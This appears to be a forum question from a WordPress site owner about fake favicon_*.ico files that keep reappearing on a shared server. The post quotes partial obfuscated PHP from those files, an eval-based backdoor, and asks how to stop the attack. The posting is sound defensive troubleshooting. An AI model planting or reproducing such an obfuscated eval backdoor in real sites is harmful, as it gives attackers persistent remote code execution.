Files are unexpectedly appearing on one of my shared web servers. They can appear in pretty much hundreds of directories and they are always called something like favicon_1166f9.ico
. The first 6 characters are always favico
and the extension is always ico
. Although these are not icons and cannot be opened by an image viewer.
Five days ago I did a clean sweep and deleted hundreds of these files yet I just found two. I noticed some on the server before but thought it was just corruption from uploading a favicon but obviously this is not the case. The site actually as one favicon.ico
in just the home dir and is working fine.
What could be causing these files to keep appearing? Is the site hacked?
UPDATE 1: Starting to really look like a hack. Here is the partial content being inserted:
$c6d81c6 = 607;$GLOBALS['g1aff67e']=Array();global$g1aff67e;$g1aff67e=$GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['h21842aa7']="\x59\x2f\x6c\x45\x75\x44\x7a\x6f\x68\x2a\x53\x74\x73\x51\x48\x72\x26\x21\x25\x67\x28\x70\x55\x7c\xa\x76\x35\x60\x52\x43\x65\x3d\x4d\x71\x4f\x32\x31\x7e\x34\x20\x5a\x41\x2e\x2c\x3b\x9\x30\x6a\x57\x6e\x3f
And it goes on for 7K ending in:
[91].$g1aff67e['h21842aa7'][38].$g1aff67e['h21842aa7'][36].$g1aff67e['h21842aa7'][57].$g1aff67e['h21842aa7'][36].$g1aff67e['h21842aa7'][66].$g1aff67e['h21842aa7'][38]]($b7ce1c0db)==3){eval/*v3f8d8*/($b7ce1c0db[1]($b7ce1c0db[2]));exit();}}} ?>
Note that the last part is an eval
of whatever the rest is.
UPDATE 2: This StackOverflow question shows someone with the same problem.
There is accepted answer but the proposed solution is to disable all POST requests which will not be possible here given this is a WordPress site and there are other parts using POST too (although not many but they are necessary).
Given this information it seems that this is an attack and not virus which is probably why a virus scan turned out nothing.
The question now is: How do I prevent this attack from working? If that is in fact what is going on.
ico
files with a text editor and share the content here if it is at all intelligible. I'd also advise posting a list of your plugins here, as I would think one of them might be doing this.